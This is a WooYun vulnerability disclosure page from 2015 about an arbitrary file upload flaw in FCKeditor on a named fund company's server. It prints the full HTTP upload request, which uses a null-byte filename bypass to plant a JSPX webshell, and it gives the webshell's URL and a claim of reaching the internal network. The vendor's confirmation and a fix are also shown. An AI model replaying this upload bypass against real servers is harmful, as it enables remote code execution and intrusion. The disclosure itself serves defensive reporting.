当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149143

漏洞标题:南方基金某系统存在任意文件上传漏洞可威胁内网

相关厂商:南方基金管理有限公司

漏洞作者: 路人甲

提交时间:2015-10-24 14:47

修复时间:2015-12-11 09:38

公开时间:2015-12-11 09:38

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-24: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-11-06: 细节向核心白帽子及相关领域专家公开
2015-11-16: 细节向普通白帽子公开
2015-11-26: 细节向实习白帽子公开
2015-12-11: 细节向公众公开

简要描述:

任意文件上传漏洞可威胁内网

详细说明:

http://cconline.southernfund.com:9898/

QQ截图20151024141658.jpg


问题原因:fck配置不当

POST http://cconline.southernfund.com:9898/FCKeditor/editor/filemanager/upload/simpleuploader?Type=File HTTP/1.1
Host: cconline.southernfund.com:9898
Connection: keep-alive
Content-Length: 195
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://cconline.southernfund.com:9898
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1E5aBWJ6kwQ1ig1k
Referer: http://cconline.southernfund.com:9898/FCKeditor/editor/dialog/fck_image.html?ImageButton
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: XSESSIONID=b3rgsi8rox5u
------WebKitFormBoundary1E5aBWJ6kwQ1ig1k
Content-Disposition: form-data; name="NewFile"; filename="01.jspx%00;.jpg"
Content-Type: image/jpeg
test
------WebKitFormBoundary1E5aBWJ6kwQ1ig1k--


上传的时候记得把%00 URL-decode一下
上传后的路径地址:http://cconline.southernfund.com:9898/UserFiles/File/01.jspx

QQ截图20151024143150.jpg


shell地址:http://cconline.southernfund.com:9898/UserFiles/File/1.jspx
密码:xxxxxx

QQ截图20151024141807.jpg

漏洞证明:

从时间上看,系统已经被黑很久了

QQ截图20151024142025.jpg


QQ截图20151024142056.jpg


可以内网

QQ截图20151024142105.jpg


QQ截图20151024142138.jpg


修复方案:

删除shell,检查全站,上传点过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-10-27 09:36

厂商回复:

确实存在该漏洞,删除该用户,过滤上传文件类型

最新状态:

暂无